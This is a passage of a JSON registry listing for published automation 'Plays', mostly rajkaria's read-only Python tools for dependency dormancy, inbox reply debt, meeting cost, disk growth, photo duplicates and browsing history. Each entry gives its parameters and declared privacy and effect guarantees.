reachability"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c3b2f15bf7eb58a8bba0ae174a598b36415f8214ae2c4094eb606016c8bce51a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":6,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/coraura-playoffs/signed-project-evidence@0.0.1","reference":"coraura-playoffs/signed-project-evidence@0.0.1","uri":"https://play.modiqo.ai/coraura-playoffs/signed-project-evidence@0.0.1","manifest_uri":"https://play.modiqo.ai/coraura-playoffs/signed-project-evidence@0.0.1","name":"signed-project-evidence","title":"signed-project-evidence","description":"","owner":{"kind":"org","slug":"coraura-playoffs"},"registry_organization":"coraura-playoffs","tags":[],"primary_domain":"domain-uncategorized","author":"Xqscora","version":"0.0.1","published_at":"2026-09-05T20:48:53.764149+00:00","visibility":"public","quality_score":0.400000005960464,"size_bytes":2091,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["node"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1b62e8d34bc649d3db45ee2cff6697f3420a13526a24faba651d5e6b60d4ebfe","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"fs","kind":"library","source":"inferred","count":1},{"name":"node","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/rajkaria/upstream-pulse@0.1.0","reference":"rajkaria/upstream-pulse@0.1.0","uri":"https://play.modiqo.ai/rajkaria/upstream-pulse@0.1.0","manifest_uri":"https://play.modiqo.ai/rajkaria/upstream-pulse@0.1.0","name":"upstream-pulse","title":"upstream-pulse","description":"A vulnerability scanner tells you about the bugs somebody has already found and written down. This tells you about the packages where nobody is looking for them any more: the last release was three years ago, there is exactly one human who can publish, the repository is archived, and the thing sits in the code path that answers requests. None of that is a CVE. All of it is the shape of the next one.\nThe Play is two programs on purpose, and the seam between them is a file. The local half parses every lockfile under a root you choose — npm, pip, poetry, uv, Cargo, Go — and builds the inventory and the dependency graph from files already on your disk, running no package manager and opening no network. The other half is one step that asks the public registries about the packages that inventory names, and writes their answers into `out_dir` as JSON. That step is the only part of this package that opens a connection and it is one short file you can read before you run it. `daily_core`, which does every judgement, imports no networking module at all and only ever reads that file.\nWhat goes out is a package name and its ecosystem, to that ecosystem's own public registry, one request each. These registries take no key and are given none. Your versions, your paths, your lockfiles, your repository names and anything else about this machine stay here. Answers are cached under `out_dir` and reused for as long as you allow, and the card prints how old they are.\nEvery checked package gets a dormancy grade A–F with every single input printed beside it, each with its own points and its own maximum — last release, release cadence, publishers, deprecation, repository state, licence, version drift. A reader who thinks a single publisher matters more than two years of silence can see both numbers, disagree with the weighting and redo the arithmetic. A bare score is an assertion; a score with its inputs is an argument. A package that was not looked up is reported as \"not checked\", never as healthy, because \"we did not ask\" must never read as \"it is fine\".\n- Reads: lockfiles and the manifests beside them under `root`, and the registry answers written into `out_dir`. Nothing else on your disk is opened, and no package manager, installer or build tool is run. - Never reads: any credential, keychain, token or password file. This Play needs no account, has no login step, and the registries it queries need no key. Private registry configuration is neither read nor used. - Never sends: your versions, your lockfiles, your paths, your repository names or anything identifying this machine. One public GET per package name is the whole of it. `daily_core`, which makes every judgement, imports no `urllib`, `http`, `socket` or `ssl` at all, and a test in the repository asserts that on every commit. - Writes: only inside `out_dir`, which is created if missing — the registry answers, their cache, the report, and a baseline so the next run can say what moved. Every written path is listed in the run output. Nothing under `root` is modified. - Degrades, never fails: a machine with no network, a registry that refuses, a lockfile format that cannot be parsed and a package the registry does not know are each reported by name with the reason, and the run still completes. The inventory is reported in full either way, with the unchecked packages counted and named. - Runs cold: set `demo=true` to run the whole Play against five bundled synthetic project trees and a bundled answer set. In that mode the registry step opens no connection at all, so a first run needs no network.\nRequires python3 3.9 or newer. No pip install, no node, no adapters, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-software-engineering","job-dependency-audit","job-supply-chain-review","audience-engineering-teams","effect-read-only","tool-npm","tool-pypi","tool-crates"],"primary_domain":"domain-software-engineering","author":"rajkaria","version":"0.1.0","published_at":"2026-09-05T20:40:44.701529+00:00","visibility":"public","quality_score":1,"size_bytes":1028107,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["report","read_registry","fetch_registry","read_lockfiles"]},"parameters":[{"name":"out_dir","type":"string","required":false,"default":"~/daily","description":"Created if missing. Everything this Play writes goes here and nowhere else.","example":"~/daily"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against five bundled synthetic project trees and a bundled registry answer set, so a first run needs nothing installed and no account.","example":"false"},{"name":"root","type":"string","required":false,"default":"~","description":"Every lockfile under this folder is parsed. Nothing outside it is opened, and no package manager is run.","example":"~/Projects"},{"name":"max_packages","type":"integer","required":false,"default":"120","description":"The most packages to ask the registries about, direct dependencies first. Everything else is inventoried and reported as not checked, which is not the same as healthy.","example":"120"},{"name":"cache_hours","type":"integer","required":false,"default":"24","description":"How long a registry answer under out_dir may be reused before it is asked for again. The card prints how old the answers are.","example":"24"},{"name":"dormant_days","type":"integer","required":false,"default":"730","description":"A package with no release in this many days is called dormant. Two years is long enough that a maintained package would have shipped something.","example":"730"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3cb0523fdfd0289c394191a25bdb8ffff23c5d5cb5835a8c5d79b92b326b9ca4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/reply-debt@0.1.0","reference":"rajkaria/reply-debt@0.1.0","uri":"https://play.modiqo.ai/rajkaria/reply-debt@0.1.0","manifest_uri":"https://play.modiqo.ai/rajkaria/reply-debt@0.1.0","name":"reply-debt","title":"reply-debt","description":"An unread badge counts messages. It does not know the difference between a newsletter and somebody who asked you a direct question eleven days ago and is still waiting. That difference is what this counts: threads where the last word is not yours, somebody asked for something, and nothing went back.\nThe Play is two programs on purpose, and the seam between them is a file. One step reads a window of your mailbox and writes a normalised JSON file into `out_dir`; that step is the only part of this package that opens a connection, it is one short file you can read before you run it, and it asks for message *headers* — from, to, cc, date, subject, list headers — plus the mailbox's own one-line snippet. It does not ask for message bodies or attachments. The second half — the ageing, the card and the report — is `daily_core`, which imports no networking module at all and only ever reads that file. If the file is not there, that is a labelled absence and the run still completes.\nDebt is graded rather than counted. A direct ask — a question addressed to you by name — is separated from an implied one, and both from a thread where you were only copied in. Automated mail, mailing lists and calendar invitations are excluded and the number excluded is printed, because an exclusion you cannot see is an exclusion you cannot check. Threads waiting longer than the cold threshold are reported as cold on the honest grounds that the useful reply there is usually to say so.\nYou get the debt count with its grades, the oldest threads with who is waiting and for how long, the share of your inbox that is really a mailing list, and the people you most often leave waiting. Names and addresses are reduced to initials unless you turn redaction off.\n- Reads: your mailbox, over HTTPS, for the window you chose — headers and snippets only — and then only the file that step wrote into `out_dir`. Nothing else on your disk is opened. - Never reads: message bodies or attachments, and no credential file, keychain or token file. The mail step takes an OAuth access token from an environment variable you name and uses it for those requests only; it opens no keychain, stores no token, and prints none. With the variable unset the step says so and exits cleanly. - Never sends: any mail. This Play composes nothing, saves no draft, marks nothing as read, and moves nothing. The mail step calls three read methods and no others, and there is no code path in it that writes to a mailbox. Nothing about your machine, your files or your paths is transmitted either. `daily_core`, which does all the analysis, imports no `urllib`, `http`, `socket` or `ssl` at all, and a test in the repository asserts that on every commit. - Writes: only inside `out_dir`, which is created if missing — the normalised mail file, the report, and a baseline so the next run can say what moved. Every written path is listed in the run output. - Degrades, never fails: no token, an expired token, a refused request or a machine with no network each become a labelled absence with the reason, and the run still completes with no threads to age rather than with an invented number. - Runs cold: set `demo=true` to run the whole Play against a bundled synthetic mailbox of 52 threads. In that mode the mail step reads no environment variable and opens no connection at all, so a first run needs no account and no credential.\nRequires python3 3.9 or newer. No pip install, no node, no adapters.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-productivity","job-inbox-triage","job-followup-review","audience-everyone","effect-read-only","tool-gmail"],"primary_domain":"domain-productivity","author":"rajkaria","version":"0.1.0","published_at":"2026-09-05T20:40:40.798559+00:00","visibility":"public","quality_score":1,"size_bytes":1027542,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["report","read_mail","fetch_mail"]},"parameters":[{"name":"out_dir","type":"string","required":false,"default":"~/daily","description":"Created if missing. Everything this Play writes goes here and nowhere else.","example":"~/daily"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against a bundled synthetic mailbox of 52 threads, so a first run needs nothing installed and no account.","example":"false"},{"name":"days","type":"integer","required":false,"default":"120","description":"How many days of threads to fetch. A thread older than this is not read at all.","example":"120"},{"name":"max_threads","type":"integer","required":false,"default":"400","description":"The most threads to read. The card says when the bound was reached, so a partial answer never reads like a complete one.","example":"400"},{"name":"query","type":"string","required":false,"default":"-in:chats","description":"Added to the mailbox search alongside the window. The default leaves chat messages out.","example":"-in:chats"},{"name":"token_env","type":"string","required":false,"default":"GMAIL_OAUTH_TOKEN","description":"The environment variable holding a Gmail OAuth access token with the gmail.metadata scope. No file is read for it, and if the variable is unset the Play says so and still runs.","example":"GMAIL_OAUTH_TOKEN"},{"name":"min_age_days","type":"integer","required":false,"default":"3","description":"A thread younger than this is not debt yet. Three days is the difference between a backlog and an inbox.","example":"3"},{"name":"cold_days","type":"integer","required":false,"default":"30","description":"A thread waiting longer than this is reported as cold, because the honest answer there is usually to say so rather than to reply.","example":"30"},{"name":"me","type":"string","required":false,"default":"","description":"Comma separated. The mailbox already names one; add the others so a message you sent from a second address is not read as somebody writing to you.","example":"you@example.com,you@work.example"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e190ed41368b6ae580910b5e4d504fe184e1c72c00aa78022b5439dffc40aaf6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/standing-cost@0.1.0","reference":"rajkaria/standing-cost@0.1.0","uri":"https://play.modiqo.ai/rajkaria/standing-cost@0.1.0","manifest_uri":"https://play.modiqo.ai/rajkaria/standing-cost@0.1.0","name":"standing-cost","title":"standing-cost","description":"Nobody schedules a meeting by its price. A 30-minute standup with nine people is four and a half person-hours every time it fires, and over a year that is a number no calendar will ever show you. Every fact needed to compute it is already in the calendar — who was invited, who accepted, how long it ran, how often it was cancelled — so this does the arithmetic and prints the denominators.\nThe Play is two programs on purpose, and the seam between them is a file. One step reads a window of your calendar and writes a normalised JSON file into `out_dir`; that step is the only part of this package that opens a connection, it is one short file you can read before you run it, and it calls `events.list` and nothing else. The second half — the arithmetic, the card and the report — is `daily_core`, which imports no networking module at all and only ever reads that file. If the file is not there, that is a labelled absence and the run still completes.\nWhat the arithmetic refuses to do is most of what makes it trustworthy. There is no default hourly rate: with `hourly_rate` unset the Play reports person-hours and says the rate is unset, and with it set every surface that prints money carries the word \"assumed\" next to the number. Declined and non-responding invitees are counted, reported, and left out of the headline, because billing someone for a meeting they said no to is how these numbers become fiction. Cancelled occurrences are credited, never billed. Google records invitations rather than attendance, so attendance is never claimed.\nYou get the person-hours per series, the share of them that is recurring, the meetings where most of the room never speaks, how many focus blocks the week's meetings cut in half, and the cancellation rate per series. Attendee names and addresses are reduced to initials unless you turn redaction off, and no address is printed in full on the card either way.\n- Reads: your calendar, over HTTPS, for the window you chose — and then only the file that step wrote into `out_dir`. Nothing else on your disk is opened. - Never reads: any credential file, keychain or token file. The calendar step takes an OAuth access token from an environment variable you name and uses it for those requests only; it opens no keychain, stores no token, and prints none. With the variable unset the step says so and exits cleanly. - Never sends: your files, your paths, your other calendars or anything about this machine. The one request made is a read of the calendar you named, to Google, with your own token. Nothing is written back to the calendar: no event is created, changed, accepted, declined or deleted, and there is no code path here that could. `daily_core`, which does all the arithmetic, imports no `urllib`, `http`, `socket` or `ssl` at all, and a test in the repository asserts that on every commit. - Writes: only inside `out_dir`, which is created if missing — the normalised calendar file, the report, and a baseline so the next run can say what moved. Every written path is listed in the run output. - Degrades, never fails: no token, an expired token, a refused request or a machine with no network each become a labelled absence with the reason, and the run still completes with nothing to price rather than with an invented number. - Runs cold: set `demo=true` to run the whole Play against a bundled synthetic calendar of 439 events. In that mode the calendar step reads no environment variable and opens no connection at all, so a first run needs no account and no credential.\nRequires python3 3.9 or newer. No pip install, no node, no adapters.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-productivity","job-meeting-cost-review","job-calendar-audit","audience-everyone","effect-read-only","tool-google-calendar"],"primary_domain":"domain-productivity","author":"rajkaria","version":"0.1.0","published_at":"2026-09-05T20:40:37.902366+00:00","visibility":"public","quality_score":1,"size_bytes":1027939,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["report","read_calendar","fetch_calendar"]},"parameters":[{"name":"out_dir","type":"string","required":false,"default":"~/daily","description":"Created if missing. Everything this Play writes goes here and nowhere else.","example":"~/daily"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against a bundled synthetic calendar of 439 events, so a first run needs nothing installed and no account.","example":"false"},{"name":"partial","type":"string","required":false,"default":".standing-cost-calendar.json","description":"Where the calendar step writes the normalised events and the report reads them. A relative name resolves inside out_dir.","example":".standing-cost-calendar.json"},{"name":"calendar_id","type":"string","required":false,"default":"primary","description":"Which calendar to read. primary is the account's own. Only events.list is called; nothing is written back.","example":"primary"},{"name":"days","type":"integer","required":false,"default":"365","description":"How many days back to fetch and price. A recurring meeting is worth judging over a year, not over a week.","example":"365"},{"name":"token_env","type":"string","required":false,"default":"GOOGLE_OAUTH_TOKEN","description":"The environment variable holding a Google OAuth access token with the calendar.readonly scope. No file is read for it, and if the variable is unset the Play says so and still runs.","example":"GOOGLE_OAUTH_TOKEN"},{"name":"focus_block_minutes","type":"integer","required":false,"default":"90","description":"How long an uninterrupted stretch has to be before it counts as one. It is what turns meeting times into the number of focus blocks they cut in half.","example":"90"},{"name":"currency","type":"string","required":false,"default":"£","description":"Printed in front of every money figure. It changes the symbol, never the arithmetic.","example":"£"},{"name":"hourly_rate","type":"string","required":false,"default":"","description":"Leave empty and the Play reports person-hours and claims no money at all. Set it and every money figure is labelled assumed, because it is.","example":"75"},{"name":"owner_address","type":"string","required":false,"default":"","description":"Your own address, for the case where the feed does not mark which attendee is you. Used to tell your time from everybody else's; never printed in full.","example":"you@example.com"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d214e160cd95f7040dbb52a1090e28a25739dd1949c163cb66317d8f072e85e7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/what-grew@0.1.0","reference":"rajkaria/what-grew@0.1.0","uri":"https://play.modiqo.ai/rajkaria/what-grew@0.1.0","manifest_uri":"https://play.modiqo.ai/rajkaria/what-grew@0.1.0","name":"what-grew","title":"what-grew","description":"Something ate 40 GB and nothing will tell you what. Every disk tool answers the wrong question: they show what is big, and what is big is mostly what was always big. The useful question is what *moved*, and nothing can answer it without having looked before. So this Play is built around a baseline rather than a scan — one bounded walk records a directory-size snapshot, and every run after that says what changed.\nIt walks the tree you name with `os.scandir`, reading directory entries and `stat` results. It opens no file it measures. Sizes are on-disk sizes wherever the filesystem exposes them, so APFS clones and sparse files do not inflate the total; the apparent total is printed alongside so the gap is visible rather than silently chosen for you.\nFour rules the report keeps. The first run has nothing to compare against and says exactly that: it records the baseline and tells you when to come back, rather than printing a zero delta as though the disk had stood still. Growth and shrinkage are reported in separate classes — newly appeared, grew in place, shrank in place, deleted — because a folder that vanished is not the same event as a folder that got smaller, and merging them loses the only fact worth having. The reclaim figure counts regenerable bytes only, caches and build output a command can rebuild, and is kept strictly apart from data nobody can regenerate, because a headline that mixes the two is an invitation to delete the wrong thing. And nothing is ever deleted, moved or opened.\nYou get the total, the folders that moved most in each direction with their names, free space, the net change since the baseline you chose, and how many past baselines are being kept.\n- Reads: directory entries and `stat` results under `root`. No file it measures is ever opened. - Never reads: file contents of any kind, and no credential, keychain, token or password file. This Play needs no account and has no login step. - Never sends: `daily_core` imports no `urllib`, `http`, `socket` or `ssl`, which a test in the repository asserts on every commit. There is no network step, so there is nothing to opt out of. No folder name leaves this machine. - Writes: only inside `out_dir`, which is created if missing — the report, and the baselines the next run compares against. Every written path is listed in the run output. Nothing under `root` is modified. - Degrades, never fails: a folder that cannot be read is reported by name with the reason and the run still completes. A walk that hits its own entry or time bound says so and reports its totals as a lower bound. - Runs cold: set `demo=true` to run the whole Play against a bundled synthetic tree that already carries two baselines, so the comparison has something to show on the very first run.\nRequires python3 3.9 or newer. No pip install, no node, no adapters, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-personal-computing","job-disk-reclaim","job-storage-trend","audience-everyone","effect-read-only","tool-finder"],"primary_domain":"domain-personal-computing","author":"rajkaria","version":"0.1.0","published_at":"2026-09-05T20:40:34.438359+00:00","visibility":"public","quality_score":1,"size_bytes":1022863,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["report","read_home"]},"parameters":[{"name":"out_dir","type":"string","required":false,"default":"~/daily","description":"Created if missing. Everything this Play writes goes here and nowhere else.","example":"~/daily"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against a bundled synthetic folder tree with two retained baselines, so a first run needs nothing installed and no account.","example":"false"},{"name":"root","type":"string","required":false,"default":"~","description":"The tree to measure. Every folder under it is sized; no file it measures is ever opened.","example":"~"},{"name":"depth","type":"integer","required":false,"default":"4","description":"How deep to name folders. Everything below the depth is still counted, and rolled into its parent.","example":"4"},{"name":"floor_bytes","type":"integer","required":false,"default":"16777216","description":"Folders below this size are counted but not named, so the table is the folders that matter rather than every folder there is.","example":"16777216"},{"name":"since","type":"string","required":false,"default":"","description":"Which retained baseline to diff against: last, first, a number of runs back, 7d/2w/3m, or a date. Empty means the most recent one.","example":"last"},{"name":"keep_baselines","type":"integer","required":false,"default":"10","description":"How many past measurements to retain under out_dir. They are what make the second run say what moved.","example":"10"},{"name":"write_baseline","type":"string","required":false,"default":"true","description":"true records this measurement for the next run to compare against. false reports and records nothing.","example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a3e3550c79d8a9477feb78a7db03adffa89b715bcfa842dd8b24d37c714374cd","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/photo-debt@0.1.0","reference":"rajkaria/photo-debt@0.1.0","uri":"https://play.modiqo.ai/rajkaria/photo-debt@0.1.0","manifest_uri":"https://play.modiqo.ai/rajkaria/photo-debt@0.1.0","name":"photo-debt","title":"photo-debt","description":"A photo library only ever grows. The shutter fires ten times to get one usable frame, every screenshot lands next to the family album, and the same image arrives again from a message, an AirDrop and a download. None of that is visible in the Photos app, which is organised by date and by face rather than by waste, so the honest number — how much of this is not really photographs — has never been on screen.\nIt reads the Photos library's own database, through a copy opened read-only so the library is never touched, and a folder of loose images alongside it. What it reads is file metadata: name, size, dates, dimensions. For duplicate confirmation it hashes bytes; no image is ever decoded, displayed, uploaded or moved.\nThree separate claims, each carrying its own confidence and never added together without saying which is which. Files whose bytes are byte-for-byte identical: a fact. Extra frames from a burst, inferred from capture time, dimensions and file name: an inference. Screenshots old enough to have served their purpose: a judgement, and you set the age. You get all three with their own totals, the largest groups by name, and how much disk each class would give back.\nTwo things this deliberately does not do. It never deletes, moves or renames anything: the output is a list to review, and every removal stays a decision you make in the Photos app, where there is an undo. And it never compares images by content similarity — the standard library decodes neither JPEG nor HEIC, an imaging package would break the stdlib-only promise, and shelling out to a converter would break the no-child-process promise. So \"duplicate\" here always means identical bytes, and \"near-duplicate\" always means metadata, never pixels.\n- Reads: the Photos library database (through a read-only copy) and file metadata under the image folder you name. Candidate duplicates are hashed. Nothing else on your disk is opened. - Never reads: any credential, keychain, token or password file. This Play needs no account and has no login step. It reads no face, place or person data, and no image is decoded. - Never sends: `daily_core` imports no `urllib`, `http`, `socket` or `ssl`, which a test in the repository asserts on every commit. There is no network step, so there is nothing to opt out of. No photo, thumbnail or hash leaves this machine. - Writes: only inside `out_dir`, which is created if missing. Every written path is listed in the run output. Nothing in your library or your image folder is ever modified. - Degrades, never fails: a library this machine does not have, or one that macOS will not let a terminal read, is reported by name with the reason and the run still completes. A scan that hits its own file or time bound says so and reports its counts as a lower bound. - Runs cold: set `demo=true` to run the whole Play against a bundled synthetic library and image folder with nothing configured, before you point it at your own machine.\nRequires python3 3.9 or newer. No pip install, no node, no adapters, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-personal-computing","job-disk-reclaim","job-photo-library-audit","audience-everyone","effect-read-only","tool-photos"],"primary_domain":"domain-personal-computing","author":"rajkaria","version":"0.1.0","published_at":"2026-09-05T20:40:31.542953+00:00","visibility":"public","quality_score":1,"size_bytes":1023394,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["report","read_folder","read_photos"]},"parameters":[{"name":"out_dir","type":"string","required":false,"default":"~/daily","description":"Created if missing. Everything this Play writes goes here and nowhere else.","example":"~/daily"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against a bundled synthetic photo library and image folder, so a first run needs nothing installed and no account.","example":"false"},{"name":"library","type":"string","required":false,"default":"~/Pictures/Photos Library.photoslibrary","description":"The Photos library to read. Its database is copied and opened read-only; the library itself is never modified and no image is opened.","example":"~/Pictures/Photos Library.photoslibrary"},{"name":"root","type":"string","required":false,"default":"~/Pictures","description":"A folder of loose images to read alongside the library. Only file metadata is read.","example":"~/Pictures"},{"name":"burst_window","type":"integer","required":false,"default":"2","description":"Seconds. Photos taken within this of each other are treated as one burst, which is what separates nine tries at one picture from nine pictures.","example":"2"},{"name":"screenshot_days","type":"integer","required":false,"default":"90","description":"A screenshot older than this is counted as debt: it was made to be looked at once.","example":"90"},{"name":"top","type":"integer","required":false,"default":"5","description":"How many groups to name on the card. The totals are over everything, not just the rows shown.","example":"5"},{"name":"hash_dupes","type":"string","required":false,"default":"true","description":"true reads candidate files to confirm a duplicate by content. false compares size and date only, which is faster and less certain.","example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f4522561345cb26963f0d69e34bac5ae4b5da446eb1ccae7c411bb872f13e6c5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/where-it-went@0.1.0","reference":"rajkaria/where-it-went@0.1.0","uri":"https://play.modiqo.ai/rajkaria/where-it-went@0.1.0","manifest_uri":"https://play.modiqo.ai/rajkaria/where-it-went@0.1.0","name":"where-it-went","title":"where-it-went","description":"A browser will show you the last nine things you opened. It will not tell you that one domain took a fifth of your quarter, that you opened the same question thirty-one times, or that your longest unbroken run at one site was four hours on a Tuesday afternoon. All of that is already sitting in a SQLite file on this machine, so this reads it and says so.\nThree families, three schemas, three different epochs, read independently and with no browser running. Chromium-family browsers, Firefox-family browsers and Safari each store visits their own way; each profile is read separately, so a second Chrome profile is its own row. The database is copied and opened read-only, so a browser that is running is not disturbed and nothing is ever written back to it.\nYou get the visit count over the window, the domains that took the most of it, a category rollup from a lookup table that ships inside the package so you can read what it claims, sessions reconstructed from the gaps between visits, the longest single-domain run with the day it happened, and the hour-of-day and weekday shapes. Repeat visits to the same URL are counted separately, because opening one page thirty-one times is a different fact from opening thirty-one pages.\nWhat it reads is the history table and nothing else. The code names, once and in one place, the stores it deliberately never touches — form data, saved logins, autofill — and a test asserts those words appear nowhere else in the module: not as a table name, not as a path, not as a query. URLs are reduced to hostnames on the card and query strings never appear anywhere.\n- Reads: the visit history table of each browser profile listed above, through a read-only copy. Nothing else on your disk is opened. - Never reads: saved passwords, autofill, form data, cookies, or any credential, keychain, token or password file. This Play needs no account and has no login step. - Never sends: `daily_core` imports no `urllib`, `http`, `socket` or `ssl`, which a test in the repository asserts on every commit. There is no network step, so there is nothing to opt out of. No URL you visited is looked up anywhere; the categories come from a table bundled in the package. - Writes: only inside `out_dir`, which is created if missing. Every written path is listed in the run output. - Degrades, never fails: a browser this machine does not have, or one that macOS will not let a terminal read, is reported by name with the reason and the run still completes. A scan that hits its own file or time bound says so and reports its counts as a lower bound. - Runs cold: set `demo=true` to run the whole Play against bundled synthetic history databases with nothing configured, before you point it at your own machine.\nRequires python3 3.9 or newer. No pip install, no node, no adapters, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-personal-computing","job-attention-audit","job-browsing-review","audience-everyone","effect-read-only","tool-chrome","tool-firefox","tool-safari"],"primary_domain":"domain-personal-computing","author":"rajkaria","version":"0.1.0","published_at":"2026-09-05T20:40:29.060259+00:00","visibility":"public","quality_score":1,"size_bytes":1023527,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["report","read_safari","read_firefox","read_chromium"]},"parameters":[{"name":"out_dir","type":"string","required":false,"default":"~/daily","description":"Created if missing. Everything this Play writes goes here and nowhere else.","example":"~/daily"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against bundled synthetic history databases for three browsers, so a first run needs nothing installed and no account.","example":"false"},{"name":"days","type":"integer","required":false,"default":"90","description":"How many days of history to read. The same value is passed to the read and the report, so the denominator on the card is the window you asked for.","example":"90"},{"name":"gap_minutes","type":"integer","required":false,"default":"30","description":"A gap this long between two visits starts a new session. It is what turns a list of visits into a run of time you can recognise.","example":"30"},{"name":"top","type":"integer","required":false,"default":"10","description":"How many domains and categories to name on the card. The totals are over everything, not just the rows shown.","example":"10"},{"name":"tz","type":"string","required":false,"default":"local","description":"local reads this machine's zone; utc reads everything in UTC. The 